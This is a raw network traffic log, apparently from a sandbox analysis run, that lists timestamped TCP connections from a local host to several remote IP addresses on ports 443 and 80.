Nov 27, 2024 16:34:33.928738117 CET	443	49754	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.928817987 CET	49754	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.929060936 CET	49753	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.929074049 CET	443	49753	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.929255009 CET	49754	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.929270029 CET	443	49754	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.929414034 CET	49755	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.929424047 CET	443	49755	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:33.929487944 CET	49755	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.929593086 CET	49755	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:33.929600954 CET	443	49755	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:34.333365917 CET	49727	443	192.168.2.7	4.175.87.197
Nov 27, 2024 16:34:34.333401918 CET	443	49727	4.175.87.197	192.168.2.7
Nov 27, 2024 16:34:34.333416939 CET	49727	443	192.168.2.7	4.175.87.197
Nov 27, 2024 16:34:34.333425045 CET	443	49727	4.175.87.197	192.168.2.7
Nov 27, 2024 16:34:34.814058065 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 16:34:35.360606909 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.365025997 CET	443	49752	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:35.365122080 CET	49752	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:35.367115021 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.367134094 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.371957064 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.371973991 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.377103090 CET	49752	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:35.377130985 CET	443	49752	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:35.377432108 CET	443	49752	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:35.385670900 CET	49752	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:35.431327105 CET	443	49752	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:35.628382921 CET	443	49751	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.629841089 CET	49751	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.629859924 CET	443	49751	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.631527901 CET	49751	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.631539106 CET	443	49751	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.652545929 CET	443	49754	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.653297901 CET	49754	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.653331995 CET	443	49754	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.653758049 CET	49754	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.653764009 CET	443	49754	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.711745977 CET	443	49753	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.715991974 CET	443	49755	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.767208099 CET	49755	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.767208099 CET	49753	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.805155039 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.805222988 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.805387974 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.830138922 CET	49753	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.830157042 CET	443	49753	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.831015110 CET	49753	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.831020117 CET	443	49753	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.843014956 CET	49755	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.843020916 CET	443	49755	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.843563080 CET	49755	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.843568087 CET	443	49755	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.904064894 CET	443	49752	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:35.904159069 CET	443	49752	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:35.904299021 CET	49752	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:35.960566044 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.960566044 CET	49750	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:35.960594893 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:35.960607052 CET	443	49750	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.056272030 CET	49752	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:36.056324005 CET	443	49752	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:36.056335926 CET	49752	443	192.168.2.7	23.52.182.8
Nov 27, 2024 16:34:36.056344032 CET	443	49752	23.52.182.8	192.168.2.7
Nov 27, 2024 16:34:36.072594881 CET	443	49751	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.072685003 CET	443	49751	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.072746038 CET	49751	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.088201046 CET	443	49754	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.088265896 CET	443	49754	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.088500023 CET	49754	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.121902943 CET	49756	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.121953964 CET	443	49756	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.122024059 CET	49756	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.126707077 CET	49751	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.126738071 CET	443	49751	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.126765966 CET	49751	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.126773119 CET	443	49751	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.129368067 CET	49754	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.129368067 CET	49754	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.129393101 CET	443	49754	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.129403114 CET	443	49754	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.138134003 CET	49756	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.138155937 CET	443	49756	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.156039953 CET	443	49753	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.156119108 CET	443	49753	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.156394958 CET	49753	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.168360949 CET	443	49755	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.168452978 CET	443	49755	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.168529034 CET	49755	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.199040890 CET	49757	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.199083090 CET	443	49757	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.199225903 CET	49757	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.292346001 CET	49758	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.292406082 CET	443	49758	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.292474985 CET	49758	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.294732094 CET	49753	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.294768095 CET	443	49753	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.303780079 CET	49755	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.303792953 CET	443	49755	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.304980040 CET	49757	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.305007935 CET	443	49757	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.321758986 CET	49758	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.321774960 CET	443	49758	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.436862946 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.436918020 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:36.437005043 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.916423082 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:36.916496992 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:37.012805939 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:37.012864113 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:37.012953043 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:37.078388929 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:37.078435898 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:37.872519016 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:37.872566938 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:37.872637033 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:37.872889996 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:37.872935057 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:37.872987986 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:37.873198986 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:37.873210907 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:37.873455048 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:37.873471022 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:38.167938948 CET	443	49757	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.168201923 CET	443	49756	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.168560028 CET	443	49758	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.195821047 CET	49757	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.195852995 CET	443	49757	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.198056936 CET	49757	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.198075056 CET	443	49757	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.198712111 CET	49756	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.198750019 CET	443	49756	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.199227095 CET	49756	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.199235916 CET	443	49756	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.199594021 CET	49758	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.199605942 CET	443	49758	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.200004101 CET	49758	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.200010061 CET	443	49758	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.464862108 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:38.464926004 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:38.465048075 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:38.467206001 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:38.467231035 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:38.613558054 CET	443	49757	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.613637924 CET	443	49757	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.613786936 CET	49757	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.614181042 CET	443	49758	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.614264011 CET	443	49758	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.614365101 CET	49758	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.622011900 CET	443	49756	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.622067928 CET	443	49756	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.622143030 CET	49756	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.701884031 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.726717949 CET	80	49738	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:38.727884054 CET	49738	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:38.746726036 CET	49757	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.746726036 CET	49757	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.746759892 CET	443	49757	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.746773958 CET	443	49757	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.746937990 CET	49758	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.746968985 CET	443	49758	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.746978045 CET	49758	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.746984005 CET	443	49758	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.749149084 CET	49756	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.749155045 CET	443	49756	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.749191046 CET	49756	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.749195099 CET	443	49756	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.754916906 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.754939079 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.755516052 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.755523920 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.798461914 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.798506021 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.798655033 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.822386026 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.822422981 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.822540045 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.824018002 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.824063063 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.824141026 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.824382067 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.824398994 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.841818094 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.841840982 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.841900110 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.841926098 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.883055925 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.890784979 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.890830040 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:38.891531944 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:38.891546965 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.146323919 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.146399021 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.146497011 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.165819883 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.165860891 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.165901899 CET	49759	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.165910959 CET	443	49759	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.191586971 CET	49772	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.191638947 CET	443	49772	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.191713095 CET	49772	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.217838049 CET	49772	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.217869997 CET	443	49772	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.327770948 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.327842951 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.327904940 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.328202009 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.328222990 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.328238964 CET	49760	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.328244925 CET	443	49760	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.332818031 CET	49773	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.332861900 CET	443	49773	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.332937002 CET	49773	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.334386110 CET	49773	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:39.334400892 CET	443	49773	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:39.651396036 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.706572056 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.712251902 CET	49774	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:39.712311983 CET	443	49774	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:39.712383032 CET	49774	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:39.713898897 CET	49774	443	192.168.2.7	20.190.177.82
Nov 27, 2024 16:34:39.713922977 CET	443	49774	20.190.177.82	192.168.2.7
Nov 27, 2024 16:34:39.718687057 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.718717098 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.719216108 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.719229937 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.719280958 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.719434977 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.719459057 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.719935894 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.719989061 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.720076084 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.720163107 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.721101999 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.721159935 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.722532034 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.722610950 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.723195076 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.723273993 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.733747005 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.733774900 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.733860016 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.733875990 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:39.847433090 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.879518032 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:39.960052013 CET	49738	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:39.960556984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:40.080240011 CET	80	49738	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:40.080881119 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:40.081038952 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:40.319648027 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:40.351892948 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:40.351980925 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:40.352169991 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:40.355341911 CET	49766	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:40.355370045 CET	443	49766	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:40.407668114 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:40.407747030 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:40.407980919 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:40.415090084 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:40.425441980 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:40.425468922 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:40.426079035 CET	49765	443	192.168.2.7	13.107.9.158
Nov 27, 2024 16:34:40.426116943 CET	443	49765	13.107.9.158	192.168.2.7
Nov 27, 2024 16:34:40.426676035 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:40.426752090 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:40.434292078 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:40.434463024 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:40.434472084 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:40.439805031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:40.475337982 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:40.581391096 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:40.581424952 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:40.587639093 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:40.629647970 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:40.629681110 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:40.631308079 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:40.631329060 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:40.729809046 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:40.771018028 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:40.778213024 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:40.778244972 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:40.778791904 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:40.778798103 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:40.867400885 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:40.920654058 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:40.920697927 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:40.923861027 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:40.923873901 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:40.925369024 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:40.925486088 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:40.925575018 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:40.998853922 CET	49767	443	192.168.2.7	94.245.104.56
Nov 27, 2024 16:34:40.998892069 CET	443	49767	94.245.104.56	192.168.2.7
Nov 27, 2024 16:34:41.022783041 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.022850990 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.022916079 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.046797037 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.046833038 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.046849012 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.046857119 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.080501080 CET	443	49772	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.142277956 CET	443	49773	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.146130085 CET	49772	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.152965069 CET	49772	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.152977943 CET	443	49772	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.153618097 CET	49772	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.153629065 CET	443	49772	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.204253912 CET	49773	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.204293013 CET	443	49773	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.205277920 CET	49773	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.205291986 CET	443	49773	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.278173923 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.278253078 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.278338909 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.304847956 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.304881096 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.305165052 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.305172920 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.322254896 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.322331905 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.322386980 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.342143059 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.342164993 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.342178106 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.342185974 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.360450029 CET	49784	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.360507011 CET	443	49784	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.360608101 CET	49784	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.433641911 CET	49784	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.433672905 CET	443	49784	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.451075077 CET	49785	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.451112032 CET	443	49785	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.451179028 CET	49785	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.451380968 CET	49785	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.451392889 CET	443	49785	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.484884977 CET	49786	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.484934092 CET	443	49786	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:41.484998941 CET	49786	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:41.485078096 CET	443	49774	20.190.177.82	192.168.2.7
